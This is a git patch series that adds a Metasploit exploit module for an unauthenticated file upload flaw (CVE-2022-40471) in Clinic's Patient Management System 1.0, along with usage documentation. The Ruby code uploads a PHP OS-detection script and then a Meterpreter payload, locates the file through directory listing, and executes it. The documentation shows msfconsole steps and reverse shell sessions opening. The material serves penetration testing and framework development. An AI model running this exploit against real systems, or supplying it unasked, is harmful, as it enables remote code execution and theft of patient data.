From 08519defc7dea0e08c8768cca311435dc0e06bd2 Mon Sep 17 00:00:00 2001 From: aaryan-11-x Date: Mon, 16 Dec 2024 11:36:23 +0530 Subject: [PATCH 1/7] RuboCop Fixes --- .../multi/http/clinic_pms_fileupload_rce.rb | 167 ++++++++++++++++++ 1 file changed, 167 insertions(+) create mode 100644 modules/exploits/multi/http/clinic_pms_fileupload_rce.rb diff --git a/modules/exploits/multi/http/clinic_pms_fileupload_rce.rb b/modules/exploits/multi/http/clinic_pms_fileupload_rce.rb new file mode 100644 index 000000000000..3bc1e618b45f --- /dev/null +++ b/modules/exploits/multi/http/clinic_pms_fileupload_rce.rb @@ -0,0 +1,167 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Clinic\'s Patient Management System 1.0 - Unauthenticated RCE', + 'Description' => %q{ + This module exploits an unauthenticated file upload vulnerability in Clinic's + Patient Management System 1.0. An attacker can upload a PHP web shell and execute + it by leveraging directory listing enabled on the `/pms/user_images` directory. + }, + 'Author' => [ + 'Aaryan Golatkar', # Metasploit Module Developer + 'Oğulcan Hami Gül', # Vulnerability discovery + ], + 'License' => MSF_LICENSE, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Privileged' => false, + 'Targets' => [ + ['Clinic Patient Management System 1.0', {}] + ], + 'DefaultTarget' => 0, + 'References' => [ + ['EDB', '51779'], + ['CVE', '2022-40471'], + ['URL', 'https://www.cve.org/CVERecord?id=CVE-2022-40471'], + ['URL', 'https://drive.google.com/file/d/1m-wTfOL5gY3huaSEM3YPSf98qIrkl-TW/view'] + ], + 'DisclosureDate' => '2022-10-31', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK] + } + ) + ) + + register_options([ + OptString.new('TARGETURI', [true, 'Base path to the Clinic Patient Management System', '/pms']), + OptString.new('PHP_PAYLOAD', [false, 'Custom PHP payload to upload', ""]), + OptInt.new('LISTING_DELAY', [true, 'Time to wait before retrieving directory listing (seconds)', 2]) + ]) + end + + def check + print_status('Checking if target is vulnerable...') + + # Check for /pms/users.php endpoint availability + print_status('Testing /pms/users.php for upload functionality...') + res_users = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'users.php'), + 'method' => 'GET' + }) + + if res_users && res_users.code == 200 && res_users.body.include?(' normalize_uri(target_uri.path, 'user_images/'), + 'method' => 'GET' + }) + + if res_listing && res_listing.code == 200 && res_listing.body.include?(' normalize_uri(target_uri.path, 'users.php'), + 'method' => 'POST', + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'data' => post_data.to_s + }) + + if res + print_status("Server response: #{res.code} #{res.message}") + print_status("Response body: #{res.body[0, 500]}") # Limit to 500 chars + else + fail_with(Failure::UnexpectedReply, 'No response received from the server') + end + + fail_with(Failure::UnexpectedReply, 'Failed to upload PHP payload') unless res && res.code == 302 + print_good('Payload uploaded successfully!') + filename + end + + def fetch_uploaded_filename + print_status('Retrieving directory listing from /pms/user_images...') + sleep datastore['LISTING_DELAY'] # Allow time for the file to be saved on the server + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'user_images/'), + 'method' => 'GET' + }) + + fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res && res.code == 200 + + # Search for the uploaded filename + matches = res.body.scan(/href="(\d+#{Regexp.escape(@uploaded_filename)})"/) + if matches.empty? + fail_with(Failure::NotFound, 'Uploaded file not found in directory listing') + end + + matches.first.first + end + + def execute_shell(uploaded_file) + shell_url = normalize_uri(target_uri.path, 'user_images', uploaded_file) + print_status("Executing the uploaded shell at #{shell_url}...") + send_request_cgi({ + 'uri' => shell_url, + 'method' => 'GET' + # 'vars_get' => { 'cmd' => 'id' } + }) + + # if res && res.code == 200 + # print_good("Command executed successfully! Output:\n#{res.body}") + # else + # fail_with(Failure::UnexpectedReply, 'Failed to execute the uploaded shell') + # end + end + + def exploit + @uploaded_filename = upload_shell + final_filename = fetch_uploaded_filename + execute_shell(final_filename) + end +end From eb5385a23d0e70c2dd2b41fa29e6cc0664048365 Mon Sep 17 00:00:00 2001 From: aaryan-11-x Date: Mon, 16 Dec 2024 14:45:04 +0530 Subject: [PATCH 2/7] msftidy & Rubocop Fixes --- .../multi/http/clinic_pms_fileupload_rce.rb | 149 +++++++++++++----- 1 file changed, 113 insertions(+), 36 deletions(-) diff --git a/modules/exploits/multi/http/clinic_pms_fileupload_rce.rb b/modules/exploits/multi/http/clinic_pms_fileupload_rce.rb index 3bc1e618b45f..83e21ac02e79 100644 --- a/modules/exploits/multi/http/clinic_pms_fileupload_rce.rb +++ b/modules/exploits/multi/http/clinic_pms_fileupload_rce.rb @@ -6,6 +6,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::PhpEXE def initialize(info = {}) super( @@ -46,7 +47,6 @@ def initialize(info = {}) register_options([ OptString.new('TARGETURI', [true, 'Base path to the Clinic Patient Management System', '/pms']), - OptString.new('PHP_PAYLOAD', [false, 'Custom PHP payload to upload', ""]), OptInt.new('LISTING_DELAY', [true, 'Time to wait before retrieving directory listing (seconds)', 2]) ]) end @@ -54,32 +54,60 @@ def initialize(info = {}) def check print_status('Checking if target is vulnerable...') - # Check for /pms/users.php endpoint availability - print_status('Testing /pms/users.php for upload functionality...') - res_users = send_request_cgi({ + # Step 1: Retrieve PHPSESSID + vprint_status('Fetching PHPSESSID from the server...') + res_session = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'users.php'), 'method' => 'GET' }) - if res_users && res_users.code == 200 && res_users.body.include?(' normalize_uri(target_uri.path, 'users.php'), + 'method' => 'POST', + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'data' => post_data.to_s, + 'cookie' => "PHPSESSID=#{phpsessid}" + }) + + unless res_upload && res_upload.code == 302 + print_error('File upload attempt failed. Target may not be vulnerable.') return CheckCode::Safe end + vprint_good('Dummy file uploaded successfully.') - # Check if directory listing is enabled on /pms/user_images - print_status('Checking for directory listing on /pms/user_images...') + # Step 3: Verify File in Directory Listing + vprint_status('Verifying uploaded file in /pms/user_images...') res_listing = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'user_images/'), - 'method' => 'GET' + 'method' => 'GET', + 'cookie' => "PHPSESSID=#{phpsessid}" }) - if res_listing && res_listing.code == 200 && res_listing.body.include?(' + PHP + vprint_status("Uploading OS detection script as #{detection_filename}...") post_data = Rex::MIME::Message.new post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"') post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"') post_data.add_part(random_password, nil, nil, 'form-data; name="password"') - post_data.add_part(payload_content, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{filename}\"") + post_data.add_part(detection_script, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{detection_filename}\"") post_data.add_part('', nil, nil, 'form-data; name="save_user"') - print_status("Uploading PHP Meterpreter payload as #{filename}...") - print_status("Using random username: #{random_user}") - print_status("Using random password: #{random_password}") - res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'users.php'), 'method' => 'POST', @@ -111,20 +140,75 @@ def upload_shell 'data' => post_data.to_s }) - if res - print_status("Server response: #{res.code} #{res.message}") - print_status("Response body: #{res.body[0, 500]}") # Limit to 500 chars + fail_with(Failure::UnexpectedReply, 'Failed to upload OS detection script') unless res && res.code == 302 + vprint_good('OS detection script uploaded successfully!') + + # Step 2: Retrieve the actual uploaded filename + vprint_status('Retrieving directory listing to identify detection script...') + sleep datastore['LISTING_DELAY'] + + res_listing = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'user_images/'), + 'method' => 'GET' + }) + + fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200 + + matches = res_listing.body.scan(/ detection_url, + 'method' => 'GET' + }) + + fail_with(Failure::UnexpectedReply, 'Failed to execute OS detection script') unless res && res.code == 200 + detected_os = res.body.strip.downcase + print_status("Detected OS: #{detected_os}") + + # Step 4: Choose payload based on OS + if detected_os.include?('win') + payload_content = get_write_exec_payload + print_status('Target is Windows. Using standard PHP Meterpreter payload.') else - fail_with(Failure::UnexpectedReply, 'No response received from the server') + payload_content = get_write_exec_payload(unlink_self: true) + print_status('Target is Linux/Unix. Using PHP Meterpreter payload with unlink_self.') end + # Step 5: Upload the payload + payload_basename = Rex::Text.rand_text_alphanumeric(8).to_s + payload_filename = "#{payload_basename}.php" + print_status("Uploading PHP Meterpreter payload as #{payload_filename}...") + + post_data = Rex::MIME::Message.new + random_user = Rex::Text.rand_text_alphanumeric(8) + random_password = Rex::Text.rand_text_alphanumeric(12) + post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"') + post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"') + post_data.add_part(random_password, nil, nil, 'form-data; name="password"') + post_data.add_part(payload_content, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{payload_filename}\"") + post_data.add_part('', nil, nil, 'form-data; name="save_user"') + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'users.php'), + 'method' => 'POST', + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'data' => post_data.to_s + }) + fail_with(Failure::UnexpectedReply, 'Failed to upload PHP payload') unless res && res.code == 302 print_good('Payload uploaded successfully!') - filename + payload_filename end def fetch_uploaded_filename - print_status('Retrieving directory listing from /pms/user_images...') + vprint_status('Retrieving directory listing from /pms/user_images...') sleep datastore['LISTING_DELAY'] # Allow time for the file to be saved on the server res = send_request_cgi({ @@ -149,14 +233,7 @@ def execute_shell(uploaded_file) send_request_cgi({ 'uri' => shell_url, 'method' => 'GET' - # 'vars_get' => { 'cmd' => 'id' } }) - - # if res && res.code == 200 - # print_good("Command executed successfully! Output:\n#{res.body}") - # else - # fail_with(Failure::UnexpectedReply, 'Failed to execute the uploaded shell') - # end end def exploit From 06528abe05d6ded67f0f2b49b253d5201354dab2 Mon Sep 17 00:00:00 2001 From: aaryan-11-x Date: Mon, 16 Dec 2024 15:33:29 +0530 Subject: [PATCH 3/7] Added documentation --- .../multi/http/clinic_pms_fileupload_rce.md | 111 ++++++++++++++++++ 1 file changed, 111 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/clinic_pms_fileupload_rce.md diff --git a/documentation/modules/exploit/multi/http/clinic_pms_fileupload_rce.md b/documentation/modules/exploit/multi/http/clinic_pms_fileupload_rce.md new file mode 100644 index 000000000000..6f5dfd9c7564 --- /dev/null +++ b/documentation/modules/exploit/multi/http/clinic_pms_fileupload_rce.md @@ -0,0 +1,111 @@ +## Description +The Clinic's Patient Management System (CPMS) 1.0 is vulnerable to unauthenticated Remote Code Execution (RCE) due to a file upload vulnerability. This exploit allows an attacker to upload arbitrary files, such as a PHP web shell, which can then be executed remotely. The exploitation occurs because of a misconfiguration in the server, specifically a lack of file validation for uploads and the presence of a directory listing feature in `/pms/user_images`. This enables an attacker to upload a PHP file and access it via a publicly accessible URL, executing arbitrary PHP code. + +## Verification Steps + +### Vulnerable Application Installation Setup +1. Install Clinic's Patient Management System 1.0 on your web server. + - Download the Web Application from [here](https://www.sourcecodester.com/download-code?nid=15453&title=Clinic%27s+Patient+Management+System+in+PHP%2FPDO+Free+Source+Code) + - For **Windows** + - [ ] Open your XAMPP Control Panel and start Apache and MySQL. + - [ ] Extract the downloaded source code zip file. + - [ ] Copy the extracted source code folder and paste it into the XAMPP's "htdocs" directory. + - [ ] Browse the PHPMyAdmin in a browser. i.e. http://localhost/phpmyadmin + - [ ] Create a new database naming `pms_db`. + - [ ] Import the provided SQL file. The file is known as pms_db.sql located inside the database folder. + - [ ] Browse the Clinic Patient Management System in a browser. i.e. http://localhost/pms/ + + - For **Linux** + - [ ] Start Apache2 & MySQL with the command `sudo systemctl start apache2 && sudo systemctl start mysql` + - [ ] Install PHPMyAdmin with the command `sudo apt install phpmyadmin -y` + - [ ] Edit `/etc/apache2/apache2.conf` by appending this line: `Include /etc/phpmyadmin/apache.conf` + - [ ] Extract the downloaded source code zip file into "/var/www/html" directory + - [ ] Next steps are similar to the ones for Windows, so follow that + +2. Start `msfconsole` and load the exploit module: + ```bash + msfconsole + use exploit/multi/http/clinic_pms_fileupload_rce + ``` + +3. Set the required options: + ```bash + set rport + set rhost + set targeturi /pms + ``` + +4. Check if the target is vulnerable: + ```bash + check + ``` + + If the target is vulnerable, you will see a message indicating that the target is susceptible to the exploit: + ``` + [+] The target is vulnerable. + ``` + +5. Set up the listener for the exploit: + ```bash + set lport + set lhost + ``` + +6. Launch the exploit: + ```bash + exploit + ``` + +7. If successful, you will receive a PHP Meterpreter shell. + +## Scenarios + +### Clinic's Patient Management System on a Linux Target +```bash +msf exploit(multi/http/clinic_pms_fileupload_rce) > check +[*] Checking if target is vulnerable... +[+] 127.0.0.1:80 - The target is vulnerable. + +msf exploit(multi/http/clinic_pms_fileupload_rce) > exploit +[*] Started reverse TCP handler on 192.168.1.104:4444 +[*] Detected OS: linux +[*] Target is Linux/Unix. Using PHP Meterpreter payload with unlink_self. +[*] Uploading PHP Meterpreter payload as zuX7FDRe.php... +[+] Payload uploaded successfully! +[*] Executing the uploaded shell at /pms/user_images/1734340436zuX7FDRe.php... +[*] Sending stage (40004 bytes) to 192.168.1.104 +[*] Meterpreter session 1 opened (192.168.1.104:4444 -> 192.168.1.104:48290) at 2024-12-16 14:43:59 +0530 + +meterpreter > sysinfo +Computer : kali +OS : Linux kali 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64 +Meterpreter : php/linux +meterpreter > +``` + +### Clinic's Patient Management System on a Windows Target +```bash +msf exploit(multi/http/clinic_pms_fileupload_rce) > check +[*] Checking if target is vulnerable... +[+] 192.168.1.103:80 - The target is vulnerable. + +msf exploit(multi/http/clinic_pms_fileupload_rce) > exploit +[*] Started reverse TCP handler on 192.168.1.104:4444 +[*] Detected OS: winnt +[*] Target is Windows. Using standard PHP Meterpreter payload. +[*] Uploading PHP Meterpreter payload as lgTprVq5.php... +[+] Payload uploaded successfully! +[*] Executing the uploaded shell at /pms/user_images/1734341267lgTprVq5.php... +[*] Sending stage (40004 bytes) to 192.168.1.103 +[*] Meterpreter session 2 opened (192.168.1.104:4444 -> 192.168.1.103:60615) at 2024-12-16 14:57:43 +0530 + +meterpreter > sysinfo +Computer : DESKTOP-VE9J36K +OS : Windows NT DESKTOP-VE9J36K 10.0 build 19045 (Windows 10) AMD64 +Meterpreter : php/windows +meterpreter > +``` + +## Options +- `TARGETURI`: (Required) The base path to the Clinic Patient Management System (default: `/pms`). +- `LISTING_DELAY`: (Optional) The time to wait before fetching the directory listing after uploading the shell (default: `2` seconds). From d196591845d066028c5680ea97af8687453fec47 Mon Sep 17 00:00:00 2001 From: aaryan-11-x Date: Mon, 16 Dec 2024 15:47:30 +0530 Subject: [PATCH 4/7] Modified documentation --- .../multi/http/clinic_pms_fileupload_rce.md | 43 +++++++++++-------- 1 file changed, 24 insertions(+), 19 deletions(-) diff --git a/documentation/modules/exploit/multi/http/clinic_pms_fileupload_rce.md b/documentation/modules/exploit/multi/http/clinic_pms_fileupload_rce.md index 6f5dfd9c7564..cbe6258daeab 100644 --- a/documentation/modules/exploit/multi/http/clinic_pms_fileupload_rce.md +++ b/documentation/modules/exploit/multi/http/clinic_pms_fileupload_rce.md @@ -1,5 +1,9 @@ -## Description -The Clinic's Patient Management System (CPMS) 1.0 is vulnerable to unauthenticated Remote Code Execution (RCE) due to a file upload vulnerability. This exploit allows an attacker to upload arbitrary files, such as a PHP web shell, which can then be executed remotely. The exploitation occurs because of a misconfiguration in the server, specifically a lack of file validation for uploads and the presence of a directory listing feature in `/pms/user_images`. This enables an attacker to upload a PHP file and access it via a publicly accessible URL, executing arbitrary PHP code. +## Vulnerable Application +The Clinic's Patient Management System (CPMS) 1.0 is vulnerable to Unauthenticated Remote Code Execution (RCE) due to a file upload vulnerability. +This exploit allows an attacker to upload arbitrary files, such as a PHP web shell, which can then be executed remotely. +The exploitation occurs because of a misconfiguration in the server, specifically a lack of file validation for uploads and the presence of +a directory listing feature in `/pms/user_images`. +This enables an attacker to upload a PHP file and access it via a publicly accessible URL, executing arbitrary PHP code. ## Verification Steps @@ -21,43 +25,48 @@ The Clinic's Patient Management System (CPMS) 1.0 is vulnerable to unauthenticat - [ ] Edit `/etc/apache2/apache2.conf` by appending this line: `Include /etc/phpmyadmin/apache.conf` - [ ] Extract the downloaded source code zip file into "/var/www/html" directory - [ ] Next steps are similar to the ones for Windows, so follow that - + 2. Start `msfconsole` and load the exploit module: - ```bash +```bash msfconsole use exploit/multi/http/clinic_pms_fileupload_rce - ``` +``` 3. Set the required options: - ```bash +```bash set rport set rhost set targeturi /pms - ``` +``` 4. Check if the target is vulnerable: - ```bash +```bash check - ``` +``` If the target is vulnerable, you will see a message indicating that the target is susceptible to the exploit: - ``` +``` [+] The target is vulnerable. - ``` +``` 5. Set up the listener for the exploit: - ```bash +```bash set lport set lhost - ``` +``` 6. Launch the exploit: - ```bash +```bash exploit - ``` +``` 7. If successful, you will receive a PHP Meterpreter shell. +## Options +- `TARGETURI`: (Required) The base path to the Clinic Patient Management System (default: `/pms`). +- `LISTING_DELAY`: (Optional) The time to wait before fetching the directory listing after uploading the shell (default: `2` seconds). + + ## Scenarios ### Clinic's Patient Management System on a Linux Target @@ -105,7 +114,3 @@ OS : Windows NT DESKTOP-VE9J36K 10.0 build 19045 (Windows 10) AMD64 Meterpreter : php/windows meterpreter > ``` - -## Options -- `TARGETURI`: (Required) The base path to the Clinic Patient Management System (default: `/pms`). -- `LISTING_DELAY`: (Optional) The time to wait before fetching the directory listing after uploading the shell (default: `2` seconds). From 4c51165ec62933ea1d34060b9f29d08de02dfee4 Mon Sep 17 00:00:00 2001 From: aaryan-11-x Date: Tue, 17 Dec 2024 16:07:58 +0530 Subject: [PATCH 5/7] Made necessary changes as mentioned by the reviewer --- .../multi/http/clinic_pms_fileupload_rce.rb | 45 ++++++++++--------- 1 file changed, 24 insertions(+), 21 deletions(-) diff --git a/modules/exploits/multi/http/clinic_pms_fileupload_rce.rb b/modules/exploits/multi/http/clinic_pms_fileupload_rce.rb index 83e21ac02e79..8dc01c2dfc6e 100644 --- a/modules/exploits/multi/http/clinic_pms_fileupload_rce.rb +++ b/modules/exploits/multi/http/clinic_pms_fileupload_rce.rb @@ -62,12 +62,18 @@ def check }) unless res_session && res_session.code == 302 && res_session.get_cookies - print_error('Failed to retrieve PHPSESSID. Target may not be vulnerable.') - return CheckCode::Safe + print_error('Server connect error. Couldn\'t connect or get necessary information - try to check your options.') + return CheckCode::Unknown end - phpsessid = res_session.get_cookies.match(/PHPSESSID=([^;]+)/)[1] - vprint_good("Obtained PHPSESSID: #{phpsessid}") + phpsessid = res_session.get_cookies.match(/PHPSESSID=([^;]+)/) + if phpsessid.nil? + print_error('Failed to retrieve PHPSESSID. Target may not be vulnerable.') + return CheckCode::Unknown + else + phpsessid = phpsessid[1] + vprint_good("Obtained PHPSESSID: #{phpsessid}") + end # Step 2: Attempt File Upload dummy_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.txt" @@ -103,12 +109,12 @@ def check 'cookie' => "PHPSESSID=#{phpsessid}" }) - if res_listing && res_listing.code == 200 && res_listing.body.include?(dummy_filename) + if res_listing && res_listing.code == 200 && !res_listing.body.nil? && res_listing.body&.include?(dummy_filename) vprint_good("File #{dummy_filename} found in /pms/user_images. Target is vulnerable!") - return CheckCode::Vulnerable + CheckCode::Vulnerable else vprint_error("File #{dummy_filename} not found in /pms/user_images. Target may not be vulnerable.") - return CheckCode::Appears + CheckCode::Unknown end end @@ -154,10 +160,10 @@ def upload_shell fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200 - matches = res_listing.body.scan(/ 'GET' }) - fail_with(Failure::UnexpectedReply, 'Failed to execute OS detection script') unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, 'Failed to execute OS detection script') unless res && res.code == 200 && !res.body.nil? detected_os = res.body.strip.downcase - print_status("Detected OS: #{detected_os}") + vprint_status("Detected OS: #{detected_os}") # Step 4: Choose payload based on OS if detected_os.include?('win') @@ -182,13 +188,13 @@ def upload_shell end # Step 5: Upload the payload + random_user = Rex::Text.rand_text_alphanumeric(8) + random_password = Rex::Text.rand_text_alphanumeric(12) payload_basename = Rex::Text.rand_text_alphanumeric(8).to_s payload_filename = "#{payload_basename}.php" print_status("Uploading PHP Meterpreter payload as #{payload_filename}...") post_data = Rex::MIME::Message.new - random_user = Rex::Text.rand_text_alphanumeric(8) - random_password = Rex::Text.rand_text_alphanumeric(12) post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"') post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"') post_data.add_part(random_password, nil, nil, 'form-data; name="password"') @@ -219,18 +225,15 @@ def fetch_uploaded_filename fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res && res.code == 200 # Search for the uploaded filename - matches = res.body.scan(/href="(\d+#{Regexp.escape(@uploaded_filename)})"/) - if matches.empty? - fail_with(Failure::NotFound, 'Uploaded file not found in directory listing') - end - - matches.first.first + match = res.body&.match(/href="(\d+#{Regexp.escape(@uploaded_filename)})"/) + fail_with(Failure::NotFound, 'Uploaded file not found in directory listing') if match.nil? + match[1] end def execute_shell(uploaded_file) shell_url = normalize_uri(target_uri.path, 'user_images', uploaded_file) print_status("Executing the uploaded shell at #{shell_url}...") - send_request_cgi({ + send_request_raw({ 'uri' => shell_url, 'method' => 'GET' }) From f5329a71df968b0060c6d379fd474da1c734929b Mon Sep 17 00:00:00 2001 From: aaryan-11-x Date: Tue, 17 Dec 2024 17:00:06 +0530 Subject: [PATCH 6/7] Added the DELETE_FILES option to delete leftover files by the exploit with the FileDropper mixin --- .../multi/http/clinic_pms_fileupload_rce.rb | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/modules/exploits/multi/http/clinic_pms_fileupload_rce.rb b/modules/exploits/multi/http/clinic_pms_fileupload_rce.rb index 8dc01c2dfc6e..3245bd58b89a 100644 --- a/modules/exploits/multi/http/clinic_pms_fileupload_rce.rb +++ b/modules/exploits/multi/http/clinic_pms_fileupload_rce.rb @@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE + include Msf::Exploit::FileDropper def initialize(info = {}) super( @@ -47,7 +48,8 @@ def initialize(info = {}) register_options([ OptString.new('TARGETURI', [true, 'Base path to the Clinic Patient Management System', '/pms']), - OptInt.new('LISTING_DELAY', [true, 'Time to wait before retrieving directory listing (seconds)', 2]) + OptInt.new('LISTING_DELAY', [true, 'Time to wait before retrieving directory listing (seconds)', 2]), + OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', false]) ]) end @@ -63,20 +65,20 @@ def check unless res_session && res_session.code == 302 && res_session.get_cookies print_error('Server connect error. Couldn\'t connect or get necessary information - try to check your options.') - return CheckCode::Unknown + CheckCode::Unknown end phpsessid = res_session.get_cookies.match(/PHPSESSID=([^;]+)/) if phpsessid.nil? print_error('Failed to retrieve PHPSESSID. Target may not be vulnerable.') - return CheckCode::Unknown + CheckCode::Unknown else phpsessid = phpsessid[1] vprint_good("Obtained PHPSESSID: #{phpsessid}") end # Step 2: Attempt File Upload - dummy_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.txt" + dummy_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.png" dummy_content = Rex::Text.rand_text_alphanumeric(20) dummy_name = Rex::Text.rand_text_alphanumeric(6) post_data = Rex::MIME::Message.new @@ -190,8 +192,7 @@ def upload_shell # Step 5: Upload the payload random_user = Rex::Text.rand_text_alphanumeric(8) random_password = Rex::Text.rand_text_alphanumeric(12) - payload_basename = Rex::Text.rand_text_alphanumeric(8).to_s - payload_filename = "#{payload_basename}.php" + payload_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.php" print_status("Uploading PHP Meterpreter payload as #{payload_filename}...") post_data = Rex::MIME::Message.new @@ -210,6 +211,7 @@ def upload_shell fail_with(Failure::UnexpectedReply, 'Failed to upload PHP payload') unless res && res.code == 302 print_good('Payload uploaded successfully!') + register_file_for_cleanup(actual_detection_filename, payload_filename) if datastore['DELETE_FILES'] payload_filename end From f2d723d1d01b911dacece4f9da8b50e4befa3941 Mon Sep 17 00:00:00 2001 From: aaryan-11-x Date: Tue, 17 Dec 2024 21:39:30 +0530 Subject: [PATCH 7/7] Modified the code logic as instructed by the reviewer & removed the instance variable --- .../multi/http/clinic_pms_fileupload_rce.rb | 49 +++++++++---------- 1 file changed, 24 insertions(+), 25 deletions(-) diff --git a/modules/exploits/multi/http/clinic_pms_fileupload_rce.rb b/modules/exploits/multi/http/clinic_pms_fileupload_rce.rb index 3245bd58b89a..edc93226bcc6 100644 --- a/modules/exploits/multi/http/clinic_pms_fileupload_rce.rb +++ b/modules/exploits/multi/http/clinic_pms_fileupload_rce.rb @@ -63,15 +63,15 @@ def check 'method' => 'GET' }) - unless res_session && res_session.code == 302 && res_session.get_cookies + unless res_session && res_session.code == 302 && res_session.respond_to?(:get_cookies) print_error('Server connect error. Couldn\'t connect or get necessary information - try to check your options.') - CheckCode::Unknown + return CheckCode::Unknown end phpsessid = res_session.get_cookies.match(/PHPSESSID=([^;]+)/) if phpsessid.nil? print_error('Failed to retrieve PHPSESSID. Target may not be vulnerable.') - CheckCode::Unknown + return CheckCode::Unknown else phpsessid = phpsessid[1] vprint_good("Obtained PHPSESSID: #{phpsessid}") @@ -193,7 +193,8 @@ def upload_shell random_user = Rex::Text.rand_text_alphanumeric(8) random_password = Rex::Text.rand_text_alphanumeric(12) payload_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.php" - print_status("Uploading PHP Meterpreter payload as #{payload_filename}...") + + vprint_status("Uploading PHP Meterpreter payload as #{payload_filename}...") post_data = Rex::MIME::Message.new post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"') @@ -211,39 +212,37 @@ def upload_shell fail_with(Failure::UnexpectedReply, 'Failed to upload PHP payload') unless res && res.code == 302 print_good('Payload uploaded successfully!') - register_file_for_cleanup(actual_detection_filename, payload_filename) if datastore['DELETE_FILES'] - payload_filename - end - def fetch_uploaded_filename - vprint_status('Retrieving directory listing from /pms/user_images...') - sleep datastore['LISTING_DELAY'] # Allow time for the file to be saved on the server + # Verify the presence of the uploaded file in the directory listing + vprint_status('Retrieving directory listing to confirm the uploaded payload...') + sleep datastore['LISTING_DELAY'] # Allow time for the file to appear on the server - res = send_request_cgi({ + res_listing = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'user_images/'), 'method' => 'GET' }) - fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200 # Search for the uploaded filename - match = res.body&.match(/href="(\d+#{Regexp.escape(@uploaded_filename)})"/) + match = res_listing.body&.match(/href="(\d+#{Regexp.escape(payload_filename)})"/) fail_with(Failure::NotFound, 'Uploaded file not found in directory listing') if match.nil? - match[1] - end - def execute_shell(uploaded_file) - shell_url = normalize_uri(target_uri.path, 'user_images', uploaded_file) - print_status("Executing the uploaded shell at #{shell_url}...") - send_request_raw({ - 'uri' => shell_url, - 'method' => 'GET' - }) + actual_filename = match[1] + vprint_good("Verified payload presence: #{actual_filename}") + register_file_for_cleanup(actual_detection_filename, actual_filename) if datastore['DELETE_FILES'] + actual_filename end def exploit - @uploaded_filename = upload_shell - final_filename = fetch_uploaded_filename - execute_shell(final_filename) + # Upload the shell and retrieve its filename + uploaded_filename = upload_shell + + # Construct the URL for the uploaded shell + shell_url = normalize_uri(target_uri.path, 'user_images', uploaded_filename) + print_status("Executing the uploaded shell at #{shell_url}...") + + # Execute the uploaded shell + send_request_raw({ 'uri' => shell_url, 'method' => 'GET' }) end end